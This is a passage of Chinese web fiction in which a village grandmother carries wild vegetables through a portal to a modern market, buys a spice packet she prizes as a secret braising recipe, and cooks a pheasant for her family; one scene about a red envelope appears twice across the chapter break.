她比划着,手比划着大山的样子,又做了个摘菜的动作,意思是山上多得很,她还能摘。
张齐眼睛一亮:“那成!”
他拿出一张名片给万春兰。
“大娘,要是还采了菜要卖,您就给我打电话。上面有我的名字,还有我的电话。”
万春兰双手接过来张齐给她的名片——一张小卡片,硬硬的,上面印着字。
张齐的手指着名片上的名字和电话号码,万春兰盯着他手指的那两块地方,似懂非懂的点点头。
“行,那我回去了。大娘,下回有菜,再通知我啊。走了郭老板。”
“诶嘿嘿慢点儿!”
“诶、诶、后生你慢走!”
张齐高兴的冲两人挥挥手,转身拉着一车菜走了。
万春兰满眼笑的目送张齐离开,低头认真把名片收好。
收好名片,她转过来,看着货台上的卤料包,搓搓手,略带些忐忑和兴奋地问郭向阳:
“掌柜的,这个怎么卖的?”
29. 第 29 章
“八块钱一包。”
万春兰这回听真切了,确实是八块一包。
不贵啊!
还没有一斤野菜贵呢!
要知道香料这东西卖的从来可不便宜,她今天刚在县城打探了一圈物价,香料店自然也去了。
花椒、生姜、紫苏、陈皮这些香料,都是几十文一斤。
胡椒、丁香、乳香这些贵的,要卖到三四百文一斤!比肉都贵!
方才在长块块里,小人把这料包拆开来给她看了。
这里面是好多种香料混合一起的。
便宜的有陈皮、花椒、小茴香,贵的丁香、桂皮、八角,这些卖几百文一斤的也有!
光是几百文一斤的这几样就够本了,更别说还有好几样她不认识的香料。
哎哟,那这么一算,八块一包岂止是不贵,是相当便宜了。
而且人家还是直接给你配好的,光是这配方就——嘶!
等等!
配方!
万春兰倒吸一口气,看向卤料包,这才后知后觉意识到,什么便宜的、贵的香料都不重要。
她手上拿的,可是一张卤肉的方子啊!
香料包拆开,把里面的各种香料一样样分出来,配方不就出来了吗?八块钱一包,是等于直接把这方子买下来了!
万春兰突然手抖了起来。
这可是配方!
她想起娘家村里那个王豆腐,王豆腐家就仗着一张磨豆腐的方子,养活了全家七八口人,前些年还在镇上置了宅院。
那家老太太过年出来买肉,脖子上戴着银项圈,手腕上挂着银镯子,走路都带风。旁人说起来,都是酸溜溜的一句:“人家有方子,咱们比不了。”
那方子,据说就是王豆腐家老太太的婆婆的婆婆传下来的,外人想看一眼,门都没有。
一张好方子,那是能保家传家的依仗!有多少祖传老店,开了一代又一代,就是依仗有自家的独有秘方,那是打死都不能外传的!
这神仙地的人,卤肉的方子随随便便八块钱就卖了?
万春兰看着这卤肉包,眼神都不一样了。
她快速地眨着眼皮,可...可能是神仙地的方子多,一张卤肉方子不值钱,又或者是这里头有什么别人没有的,比如施展了什么独门仙法......
对对,应该是这样的。
万春兰把自己说服了。
可甭管施了什么独门仙法,这料包在神仙地八块一包谁都能买,在老家那边,可是实打实谁也没有的。
她拿回去,就是她的独门配方!
这想法一见光,万春兰浑身就一个激灵!
“掌柜的,”她听见自己的声音,有些发紧:“我要一包。”
“好,我给您装上。”
郭向阳给万春兰装了一包五香味卤料包,顺手拿起一包250g食盐一起装进塑料袋里:“大娘,送你包盐。”
盐?
万春兰看向郭向阳给她多装的那包东西,一个手掌大小的蓝色的袋子,上头印着雪花一样的图案,还有几个大字。
这是盐?
郭向阳把装着卤料包和食盐的塑料袋递过来,万春兰对着里面的食盐捏了一把,随即睁圆一双眼睛。
这盐这么细?
她活这么大岁数,吃的都是粗粝粝的灰黄色盐块子,买回来得用石臼捣碎,还得仔细挑里面的沙粒。有些盐块都买不起的穷苦人家,就买那种最贱的盐砖,回家用布包着在水里涮一涮,有点咸味儿就行。
万春兰来回捏了几把,隔着袋子像捏沙一样,一丁点硬块都没摸见,可见这盐有多细。
她连忙看向郭向阳,把盐拿出来放到台面上,冲他摇手:
“不不,不能要!”
盐可是贵重物,这么细的盐白送她,这掌柜的还要不要好好做生意了!
郭向阳大方的要给她装回去:
“没事儿就一包盐。”
那也不行,万春兰说什么也不要他白送,张口问:“几钱?”
“一块五一包。”
一块五?
万春兰一顿,她眼睛瞟过去,这一包盐才一块五啊?
她伸手拿过来:“那我买。”
她拿出一百元递给郭向阳,指着卤料包和食盐:“买,这个,这个。”然后盯着郭向阳,一脸认真:“我会算账。”
郭向阳抓耳挠腮哭笑不得,他就是顺手拿一包送了,刚才跟大娘唠嗑唠挺好的,他寻思这不大家也算个熟人了么,人家在他这买东西了,他就送个啥,谁承想还让大娘多花钱了。
“大娘,你家里盐要是够吃就不用买了。”他不觉得一块五有啥,但对大娘不一定了,能省就省。
万春兰摇头:“没事,算。”
郭向阳只得低头给她找钱。
“找您90.5,您自己数一下大娘。”
一张五十,两张二十,还有一个五毛硬币。
万春兰接过来,认真数了数,抬头冲郭向阳笑,眼睛弯成两道缝:“对的。”
这时旁边来了个年轻姑娘要买冰糖,郭向阳转身去招呼。万春兰把零钱揣好,拿上塑料袋,背起藤筐,看郭向阳在那边低头忙着,她趁着郭向阳不注意,悄悄往他货台后面丢了二十元钱。
“掌柜的,我走了啊。”
郭向阳闻声抬头,看见大娘背着藤筐已经离开了,腿脚还挺快。他笑了一下。
“那个...老板...”
买冰糖的姑娘眨了眨眼,她犹豫地对郭向阳指了指货台后面,出声道:
“刚才那个老奶奶,好像往你那里面扔了什么。”
“啊?”郭向阳惊讶,转回身低头在地上找,“哪儿呢?”
“好像是那儿。”
通过小姐姐的指向,郭向阳发现地上果然有个东西,捡起来一看,是二十块钱!
他一懵。瞬间想起来,大娘刚来的时候就要塞给他二十块钱,让他推回去了,结果这走了又给丢进来了。
他连忙抬头找,已经看不见万春兰跑哪去了。
“哎呀这大娘!”
---
万春兰跑东门这边来了。
她找到一个不碍事的拐角,从塑料袋里拿出那包五香卤料包。
粗糙的手心在包装袋上轻轻抚摸,万春兰神情激动,找到封口打开包装,从里面拿出长条形状的卤料包。
手心一个大小,放在手里沉甸甸的。
她凑上前一闻,浓郁的混合在一起的香料味瞬间直冲头顶。
万春兰一个没顶住,直接没被熏的两眼泛泪花。
她一边咳嗽一边满脸喜色的乐开花。
好好好!这味儿冲!绝对是好香料!
万春兰眨眨眼睛吸了吸鼻子,缓过来这一下。她捧宝贝似的看着手里的卤料包,这一堆香料的配比,就是一张炖出来卤肉的方子,那卤肉她见了,看着可诱人了,比镇上王记卤味铺子里卖的卤肉看着还诱人!
一个模糊的概想在万春兰脑子里萌生,让她的心跳不由的都砰砰砰快跳了起来。
万春兰稳了稳神,不急不急,这东西不是说脑袋一热就能干。
即便是有方子,也得先试试手才行。
她先把卤料包好生收了起来。
然后从拐角里出来。
万春兰两只手抓着藤筐的背带,一双眼睛打量着四周。
东门这边大多是卖蔬菜水果和鲜肉的。这会儿下午三点来钟,市场里人不算多,正是商家们上货的时候。阳光从西边的大窗户斜斜照进来,一道道金黄色的光柱里,飘浮着细细的灰尘,亮堂堂的,暖洋洋的,照得那些青菜叶子上的水珠都闪着光。
上回来,都是光顾着卖野菜、买大米,来去匆匆的,还真没好好看看这神仙地的物价。
如今菜卖完了,时间还早,这回她得好好看看。
她背着筐,一家一家摊位看过去。
先去的是个蔬菜摊。案子摆得满满当当,菠菜绿得发亮,小油菜水灵灵的,韭菜扎成一把一把,根上还带着一点点新鲜的湿泥。
“大娘,买菜啊?”卖菜的是个中年妇女,系着个花围裙,手里拿着个小喷壶,正往菜上喷水,瞧见万春兰的打扮,一脸惊奇的上下打量她。
万春兰对于神仙地的人看她的目光总是要先惊讶一下的事情,已经有些熟悉了。
她如今对于同神仙地的各位掌柜们打交道,也是一回生二回熟,她对着老板娘先笑了一下,然后手指挨个点了几个认识的青菜,问:“几钱?”
“菠菜两块五一把,小油菜两块,韭菜三块,都新鲜着呢,早上刚摘的。”
“两块五、两块、三块......”万春兰念叨着,心里暗暗记下。
“多谢老板娘,生意兴隆。”她笑呵呵地谢过老板娘,然后说了句吉祥话就绕开走了。
老板娘没听懂说的啥,目光追随着万春兰,看她又去到下一个摊位上看菜。
一边喷水一边翘着嘴角追着看个不停。
万春兰连着问了几个摊,对一些常见的
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青菜价格,差不多心里有数了,有好多她不认识的菜,她也问了,然后记住了一个菌菇,好像叫什么羊肚菌,好家伙,八十块一斤!她连看了好几眼记住长什么样,等回去后去山里找找有没有。
又往前走,她来到一家肉铺。
铁钩子上挂着半扇猪肉,肥膘雪白,瘦肉鲜红,皮上还盖着紫色的圆印子。摊主是个壮实的汉子,手里的刀磨得锃亮,正给一个客人切里脊条。
在他的案板钱有个好长的透明柜子,里面还摆放着好些颜色鲜亮的各种肉块和大骨头。
这一大堆新鲜的肉看得万春兰直眼馋。
不怪万春兰一看见肉就嘴馋。
要知道肉是很贵的,猪肉三十多文一斤。他们农户人家,一年到头也吃不上几回肉。只有逢年过节,或者家里来了贵客,才舍得去割半斤肉,剁碎了和在菜里,算是沾点荤腥。
平常的时候,就是野菜配糙米粥。不光她看见肉馋,村儿里随便拉个人看见肉都馋!
她站在肉铺跟前问价,比问菜的时候心虚不少。
“掌柜的,肉,几钱?”
“五花肉十五,前腿肉十三,里脊十七,排骨十八......”
万春兰问了几个下来,看摊主逐渐有些不耐烦,她赶紧鞠躬离开。
“多谢掌柜的,生意兴隆。”
“什么怪人不买还光问......”卖肉摊主看着离开的万春兰不耐烦的嘟囔一句,回头转身去冷库里补货。
万春兰离开肉铺,脸上的神情颇为惊叹。
神仙地肉卖的不贵啊!
那带肥膘的十五一斤。
十五块钱一斤的肉,一斤野菜能换一斤多肉!
万春兰眼睛一瞟,旁边就是个卖鸡鸭的摊,她又去问了鸡鸭。
最普通的肉鸡六块一斤;鸭子七块。
妈呀!万春兰眼珠子要瞪出来了!
鸡鸭更便宜!
鱼,草鱼六块一斤,鲫鱼七块,摊子上还有好多万春兰不认识的鱼,鳞片泛着银光,在水盆里游来游去。
她还发现了一个卖下水的摊位,那是一对年轻夫妻开的摊,案板上摆着猪心、猪肝、猪肚、猪大肠,还有她不认识的什么肠子。主要是那些东西都洗得干干净净的,白是白,红是红,每一样都分开装着,站近了也闻不到一点儿怪味儿。
万春兰头一次见到这么干净的下水。
下水这东西,在老家那边是最贱的,屠户卖肉,下水都是搭头,穷人家买不起肉,就买点下水回去煮煮,好歹算是荤腥。但是在神仙地这里,下水也是卖的,心肝脾肺肾都是几块钱一斤,猪大肠十六一斤,腰子也十六,还有舌、嘴、耳朵......
一圈问下来,万春兰虽然早有神仙地东西又好又便宜的觉悟,但还是被好些东西的价格惊到合不拢嘴。
就比如鸡鸭,竟然才卖六七块钱一斤,一只鸡三四斤,还没有一斤野菜卖的多!
而且猪肉其实也不贵,十几块一斤,也是没有一斤野菜的多。
还有八块一包的配方呢。
这神仙地有太多惊喜了!
万春兰脑子发热,人都变得有些轻微的亢奋。
她抬头看窗户,阳光已经斜得厉害了,金色变成了橘红色,照在那些漂浮的灰尘上,像是一粒粒细碎的金末子。
不早了,先回去。
她长出一口气。
她得回去好好想想。
她背着筐,转身走到市场的一处角落,像是一副水墨在眼前被晕染开的消失了身影。
眼前白光一晃,万春兰回到了白屋子里。
看见这熟悉的屋子,万春兰心里一松,像是回到了第二个家一样。那股安心的感觉从脚底升起来,浑身的劲儿都卸了一半。
她把筐子放下来,眼睛看见筐里的稻草下面露出一截红色的东西。
“咦?”
她探身拿出来看,发现是个红色的纸包,上面印着金色的花纹,纸包封得严严实实的,有一边是开口的,塞着什么东西。
她撑开那开口往里一看——
“哎呀!”
她惊叫一声,从红包里抽出两张一百元纸钞。
这怎么又多出来两张红花纸?
想来想去,万春兰想到了张齐。
今天就他和掌柜的碰过她的筐。
她想到了,一定是后生觉得占了她便宜,然后就这样偷偷给她。
“哎呀!这!这这!”
可是这也用不上两张红花纸,后生给多了啊!
30. [锁] 该章节由作者自行锁定
万春兰又回到了卖鸡鸭的肉摊。
冷鲜柜里的灯管白晃晃的,照得那些鸡鸭都泛着一层油润的光。
一只只白条鸡胸膛饱满,皮色嫩黄,大腿肉鼓鼓的。旁边还有半只的,切面能看见细密的肉质纹理,一层皮一层肉,肥瘦相间。
摊主还记得这个刚才来问价的大娘,看她转回来,站在冷鲜柜前看肉鸡,一边拿着块抹布擦柜台一边问:
“卖鸡?”
听见声音,万春兰抬头,冲着老板笑了一下。
她看着冷鲜柜里的大肥鸡,心头意动,但又有些犹豫。
主要是在知道在这里能买到配方后,万春兰对手里的花纸就更慎重了。
像鸡鸭鱼肉这些在老家也能买到的,她就有些不舍得用花纸了。
一张花纸就是一份家当,虽说这鸡肉卖的很实惠,但毕竟不是稀罕物,在老家总归能买的到。
可是那配方、料包、她筐子里的料酒老抽,这些只有在神仙地才有,就只能在神仙地用花纸才能买得到了。
这么想着,万春兰心头的那点儿犹豫也去了。
花纸还是得留着用来买更重要的东西才对。
她抬起头,冲着老板不好意思地笑了笑,转身走了。
鸡鸭摊老板自然没说什么。
窗外照映的天空已经变成了浓稠的橘红色,照在菜市场的水泥地面上,把一切都镀上了一层暖意。
万春兰长出一口气。
她背着筐,转身走到市场的一处角落,像是一副水墨在眼前被晕染开的消失了身影。
眼前白光一晃,万春兰回到了白屋子里。
看见这熟悉的屋子,万春兰心里一松,如今她一回到这里,就如同像是回到了第二个家一样,那股安心的感觉立时从脚底升起来。
她把藤筐放下来,蹲在地上,开始挨个把今天买的东西拿出来。
卤料包、盐、一袋老冰糖、两瓶老抽料,拿到最后眼睛看见筐里的稻草下面露出一截红色的东西。
“咦?”
她拨开稻草拿出来看,发现是个红色的纸包,上面印着金色的花纹,纸包封得严严实实的,有一边是开口的,塞着什么东西。
她撑开那开口往里一看——
“哎呀!”
万春兰惊叫一声,从红包里抽出两张一百元纸钞。
这怎么又多出来两张红花纸?
想来想去,万春兰想到了张齐。
今天就他和掌柜的碰过她的筐。
她想到了,一定是后生觉得占了她便宜,然后就这样偷偷给她!
“哎呀!这!这这!”
可是这也用不上两张红花纸,后生给多了啊!
看着手里的红包,万春兰神情百感交集,心头涌上一股说不清道不明的暖意。
“哎!”
等下回,再碰上后生,她要好好谢谢人家!
万春兰把那两百块花纸珍重地放回红包里,好生放到一边。
随后她把自己这两次卖的所有的花纸都拿出来,一张一张地数,开始算账。
......
两次卖菜一共收入1680。
买东西一共花了171.5,给了掌柜的20。
现在她手里剩下有1508.5花纸。
万春兰看着面前算清楚的一堆花纸,心里踏实得很。
她把所有钱收放到一个塑料袋里,系上封口,随后放在墙边。那二百红包放在最下面压着,她没算里面。
把钱放好,万春兰便看向摆在一边的一样样卤肉的材料。
看着这些东西,万春兰兴奋地攥着双手。
今天就试试这方子!
料酒和老抽瓶子上都有字,带不出去,盐也不行。
她得弄个两能装水的罐子进来,还要带个盐罐子。
冰糖、卤料包这两样好带,她把卤料包从包装袋里取出来,搓开个塑料袋装到里面,把空气都压出去,封口打了个活扣系紧,压到筐子里最下面,盖上稻草遮上。
老冰糖她拿了一半出来,也用塑料袋装好放筐子里,盖上稻草。
把这两样弄完,她看着屋子里,所有的东西都散放在地上,今后得弄个柜子进来,要不以后东西越来越多,乱得很。
还有装花纸的匣子,也得赶快弄一个。
全都安排好了,万春兰起身,环视一圈白屋子里,心里涌上一股热烈的满足感。
背起藤筐推门离开了空间。
从空间出来,万春兰抬头看天,太阳挂在半山腰,山间里洒着金色的
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光辉,差不多要酉时了。
万春兰背着藤筐出林子。
风吹过,草叶哗啦啦响。
回到村里,万春兰没直接往家走,而是沿着小路一直走到村东头,来到把头的第一家,猎户刘快腿家。
她站在门口,隔着门往院子里喊了一声:
“快腿家的,在家不?”
刘快腿是他们村儿里唯一一家猎户,家住在村口,靠近林子,院子里常年晾着各种兽皮,远远就能闻到一股硝制的味道。
这家的本事是家传的,刘快腿的爹和爷爷都是猎户,到了刘快腿这一代,生的精悍有力,一身腱子肉,本事大得很,一双腿在林子里能跑过野鹿!所以大家都叫他刘快腿。
他媳妇张秀儿也是个能干人,两口子养着三个娃,日子过得比村里大多数人家都殷实。
平日里村里谁家要是缺肉了想买,就到猎户家来一趟,瞅瞅有啥鲜肉。
万春兰站在院门口,探头往里瞅。
院子不大,三间土坯房,院墙是用石头垒的,齐腰高。
这会儿快到傍晚了,院子里正冒着炊烟,刘快腿的媳妇张秀儿蹲在灶前烧火,三个孩子在院子里追逐打闹。
听见声音,张秀儿抬头看见是万春兰,站起身笑呵呵地迎过来。
“万婶子,过来啥事儿?”张秀儿笑着问,双手在围裙上擦了擦。
万春兰看着张秀儿笑,探头往她家院儿里瞅:“秀儿,你家现在有啥鲜肉不?”
张秀儿一听这话,眼睛亮了:“婶子来得巧!今儿个我家的刚好在山里打了只野鸡,肥得很,还没收拾利索呢。”
她招呼万春兰进院子,领到院子角落一指,那里果然躺着一只野鸡,羽毛斑斓,尾巴长长的,个头不小,估摸着有两三斤重。
万春兰走过去看,那野鸡刚死不久,身上还带着温热,毛色鲜亮,一看就是刚打的。
这野鸡瞅着不错,万春兰问张秀儿:“咋个卖?”
张秀儿双手扣在围裙上,看着万春兰想了下,干脆道:“婶子要的话,给四十文就成!这野鸡拿到镇上能卖五十文,婶子是自己人,给四十文就行。”
这鸡也头儿不小,四十文确实没要贵了。
万春兰也干脆,“行!那我把这只野鸡拿了。”
31. 第 31 章
“好嘞!”
张秀儿利索的提起来野鸡,拿草绳在野鸡脚上打了个结实的活扣。
万春兰从身上数出来四十文钱给张秀儿。
张秀儿收了钱,一张脸上笑得发亮,喜滋滋地问万春兰:“婶儿,今儿个家里有好事啊?”
万春兰接过来野鸡,在手里掂了掂,笑着打哈哈:“嗐,没有,这不过完年到现在,都好久没吃过肉了么,实在馋得很。唉,不像你们家,有本事,自己就能去山里找肉吃。”
张秀儿叹了口气:“现在也不好找了,到现在都不下雨,山里的活物都少了。”
万春兰神色担忧:“现在林子里活物不好找了啊?”
张秀儿心有戚戚点头:“可不是么,我家快腿一天也就找到这么一只野鸡。”换以往年头好时,一天咋说还能多逮只兔子竹鼠什么的。
两人叙了会儿闲话,万春兰便拎着野鸡出门要回家了。
“这日头也不高了,我也赶紧回了,秀儿你忙着。”
“诶,婶子你慢走,什么时候想吃肉了再来啊,我跟我家的说,让他进山里去找。”
万春兰连连摇手,笑得眼角起了细纹:“哪能天天吃!有这一回足顶俩月了。”
从刘快腿家离开,万春兰装着新买来的野鸡心满意足地快步往家走。
村道两边的土墙斑驳,墙根下长着一丛丛灰扑扑的狗尾巴草,几只家鸡在路边刨食,看见人来也不躲,慢吞吞地挪两步,继续低头啄。
“溜达鸡呐李嫂?”
“诶嘿嘿,这是背着筐子出去啦?”
“哟,万嫂子,这是打哪儿去了?”
“去林子里转了转。”
“吃了没呢?”
“还没呢,才刚做上!”
一路上碰上村里各种邻里,见着面都热乎地招呼一两句。这会儿太阳下山,大家伙儿都从地里回来,家家户户冒起炊烟,青灰色的烟袅袅地升上去,在暮色里慢慢散开,空气里飘着柴火的味道,混着谁家炒菜的油香,还有煮苞谷糊糊的甜香,黄狗在巷子里溜达,时不时吠两声。
万春兰一路走回到家,家里人都在。
“阿奶!你回来啦!”
一进门儿,孙女刘小禾先就跑了过来,院儿里正中间儿,俩儿媳妇和俩儿子们都围在一堆刚摘回来的新鲜野菜旁边。
“娘,你回来了!”
罗菊香和马荷花看见婆婆回来,满脸喜色的连忙迎了上来。
两人刚从山里摘野菜回来,脸都还没来得及洗。
“娘,我俩今天又摘了好些野菜!都在那呢!”
万春兰眼睛一亮,走到院子中间去,地上散着俩人今天摘挖的野菜:香椿、荠菜、蕨菜、山豆苗、马齿笕,一小堆四季蘑,筐子里还有一些没拿出来的,打眼一瞅估摸着得有几十斤!
万春兰满眼惊喜加惊讶:
“弄了这么多!你俩这是跑了多远?累坏了吧!”
罗菊香和马荷花听万春兰这话,全都笑眯着眼,露出一口白牙:“不累不累!”妯娌俩在山里摘了一天,爬树下坡,弄得一身灰头土脸的,两人顾不上别个,满眼期待地看着万春兰问:
“娘,您问菜贩了没,这些菜贩都收吗?”
万春兰看着俩儿媳妇那眼巴巴的样子,心头一热,是又高兴,又心疼。
“收!都收!”
俩儿媳妇弄了这老些野菜,她就是去神仙地蹲一宿也全给它卖出去!
听万春兰这么说,罗菊香和马荷花笑得那叫一个欢喜,如此累也值了!
这时孙子二宝看见万春兰身后背筐里钻出来的野鸡毛,探出小手一揪拔了出来。
“哇,阿奶,你筐里有根羽毛,好漂亮啊!”
大人们正忙着说话,听见二宝这一嗓子,全都扭头看过来,二宝的小手上抓着一根艳丽的长羽毛,幽幽的绿光和褐色的斑纹在夕阳下泛着绚丽的光彩,一看就不是寻常家禽的羽毛。
大人们惊讶地看着二宝手里绚丽的羽毛,随后全都看向万春兰身后的背筐,刘劲山、刘劲水俩人上前探头往筐里一瞅,顿时瞪圆了眼珠子:
“娘!你上哪弄了只野鸡回来?”
罗菊香马荷花也都啊?了一声,惊讶的垫着脚往万春兰筐子里看。
万春兰也不卖关子,弯腰把背篓放下来,当着一家老小的面儿,把那只在刘快腿家买回来的野山鸡从里面拎出来。
她跟着家里人嘿嘿一笑:“我方才去刘快腿家里买的。”
野鸡长长的尾羽垂下来,一身羽毛在夕阳里闪着五彩的光。
大人们眼睛直勾勾地看着那只野鸡,嘴巴张得能塞进一个鸡蛋,几个孙子孙女昂着头,看着野鸡一身漂亮的羽毛,“哇”地一声叫出来。
一家人都惊呆了!
娘竟然买了一只野鸡回来!
刘劲山、刘劲水两兄弟惊讶地看着野鸡,又看向万春兰,喉头动了动。
“娘,你咋寻思去买只野鸡回来?......吃的吗?”刘劲山摸着头憨问。
万春兰一听这话忍不住咧嘴:“你这话问的,买回来不吃?你还想养啊。”
罗菊香和马荷花盯着野鸡吞了吞口水,又看向婆婆。
“娘,......最近家里有啥事儿要办吗?”罗菊香小声开口问。还是说有啥事她忘了?
要不这不过节、不祭祀的,突然买了只野鸡回来,弄得大家一时间一头雾水。
万春兰拎着野鸡,瞅了一圈,道:“咋了,买只鸡回来,给你们补补,都不高兴?不想吃?那我退了去。”
“不退不退!”几个小孩子一听这话,立马扑上来抱腿、扯裤子、坐脚面,仰着小脸,奶声奶气地喊:“不退不退,阿奶~想吃鸡~”
“阿奶~我想要羽毛做毽子,把羽毛给我们呗~”
几个大人听万春兰说是买回来自己家里吃的,又惊又喜间也连忙道:“没有没有,娘,我们不是这意思。”
万春兰笑起来:“行了,逗你们呢,这买都买了,哪还好退回去?去起锅烧水,今晚上给你们炖鸡吃!”
全家人听闻这话,顿时间全部眼睛亮的跟炸花儿似的!
看着那个头儿不小的野鸡、想到香喷喷的野鸡肉,瞬间就忍不住吞口水。
“诶!!!”
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“老大老二,你俩去把柴搬来,锅刷出来,再打上一桶水,今晚我要做一个好吃的。”
“菊香荷花,你俩累了一天,去洗洗,然后把野菜收了就行。”
“你们几个小的,都去帮着你们娘收野菜,别踩坏咯!”
万春兰一声令下,全家人都听吩咐行动起来。
刘劲山刘劲水撸起袖子就去抱柴打水,罗菊香和马荷花顾不上先洗,转身就去收拾院子中间的野菜,几个小孩儿都非常听话,跟着娘亲屁股后面一起帮忙。
万春兰则是拎着筐子直接去灶房,找了个干净的陶罐出来,蹲在沟渠边开始开始刷罐子。
刘小禾抱着野菜往房檐下跑,一边不停,一边好奇地问:“阿奶,你洗罐子是要装什么呀?”
万春兰嘿嘿一笑:“装好东西。”
“哇。”刘小禾张圆了嘴巴,抱着野菜跑的一脸兴奋。
二宝福哥两个听见也跟着:“哇!”
大宝年纪大点,没跟着弟弟妹妹们哇,眼睛发亮兴奋
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的嘿嘿嘿地笑起来。
万春兰瞅几个小的来回跑的忙活,笑得一眼角的细纹,洗好了罐子拿干布擦干净,她起身拎着罐子,想了一下,回去了老屋里。
万春兰扫了一圈屋里,刘大江不知道是不是还在张老三家没回来,屋里啥都没被动过,都是早上出门的样子,她微微皱起眉,转身把门关上,抬手放在心口位置,拿着空罐子进去了空间,把所有材料,料酒、老抽、冰糖、盐、卤料包拆开,斟酌着配比,全部兑到罐子里,装好后带了出来。
灶房里,水和柴火都准备好了。
院子里罗菊香跟马荷花领着几个孩子,也把大部分野菜也都收拾的差不多了。
老屋门打开,万春兰抱着装好了调料罐子出来,往灶房里去。
一家人目光都围在万春兰身上。
万春兰把调料在灶台前放好,拿起菜刀和一个大海碗出来,拎起野山鸡,在脖子上划下去一刀,开始放血。
一家人眼睛都亮了!
“老大老二,把火生上。”
“诶来咯!”
“噼!啪!”
灶膛里的火已经烧起来了,橘红色的火苗舔着锅底,发出噼啪的声响。
放血、生火、烧水、开膛破肚。
羽毛艳丽的野鸡此时已经被处理成一只皮肉鲜嫩的肉鸡。
野鸡的一身羽毛没都给小孩儿们玩,分了他们一人几根给他们当玩具,其余的都叫罗菊香和马荷花收了起来。
这一身羽毛也能卖几个钱呢。
“剁、剁、剁、”
万春兰野鸡放在案板上,剁成小块,骨头咔咔响,几下就把一只鸡剁好了。
天边被晚霞渲染成一条紫焰的长河。
罗菊香蹲在灶前添柴,马荷花站在一旁打下手,几个小孩儿排排坐守在院子盯着灶台看。
锅里的水烧开了,丝丝缕缕的往上飘起热气。
万春兰把剁好的鸡块放进锅里。
她盯着沉在锅里的野鸡肉,眼前一步步回放着小人炖肉的步骤。
水很快开始咕嘟咕嘟冒着泡。
白色的浮沫飘起来,野鸡肉在锅里轻轻翻滚,万春兰立即拿勺子,开始仔细地一点点把浮沫全部撇干净。
等到把浮沫全都撇干净,她把焯好的鸡肉全都盛出来放到一旁准备好的冷水里冷却,看向锅里翻滚的热水,万春兰抓起旁边清理好的小葱和姜片扔进去,缓缓的深吸一口气,随后捧起放在灶台上的陶罐,打开盖子,把一罐子“独门配方”倒了进去!
全家人都在旁边认认真真的眼巴巴的看着万春兰做鸡肉。
看见她倒了一罐子不知道什么进去,都好奇的睁大眼睛,一家人围过来,好奇的看着锅里变了颜色漂浮的各种材料汤水。
“娘,这都是啥啊?”
万春兰把冷水榨过的鸡肉一块块重新倒进去锅里,大勺搅拌,然后舀一勺子水进罐子里涮一圈,又倒进锅里涮干净,一点不浪费。
随后把锅盖一扣,静静等着,开始卖关子。
“好东西。”
“啥好东西啊娘?”刘劲山、刘劲水见状,蹲在一边忍不住搓着手问。罗菊香,马荷花还有一群小娃娃也在一旁全都眼巴巴地看过来。
万春兰瞥了一圈,随后看着锅不错眼的盯着。
“等着就是了。”
见万春兰这样子说,搞得大家心里头愈发好奇,全都一起盯着锅。
全家人一起守在锅旁边等着。
没多久后,渐渐的一股奇异的香味从锅盖缝隙里窜出来,钻进每个人的鼻子里。
刘劲水吸了吸鼻子,不由睁大眼睛:“娘,这啥味儿啊?好香!”